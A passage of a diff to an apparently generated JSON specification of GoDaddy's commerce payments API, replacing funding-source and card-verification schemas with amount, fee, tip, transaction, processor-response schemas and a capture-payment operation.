"https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "type" - ] + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true + "amountType": { + "type": "string" } }, - "required": [ - "token" - ] + "title": "Amount", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", + "description": "Payment Context details", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "required": [ - "type" - ] + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ + }, + "title": "Card Processor Response", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "type" - ] + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true + "processorType": { + "type": "string" } }, "required": [ - "token" - ] + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } + }, + "required": [ + "amount", + "createdAt" ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "type": "array" + } + }, + "title": "Captures" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "capturePayment", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/captures", + "summary": "Capture Payment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "sourceType": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Discriminator field representing the type of Funding source" + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + 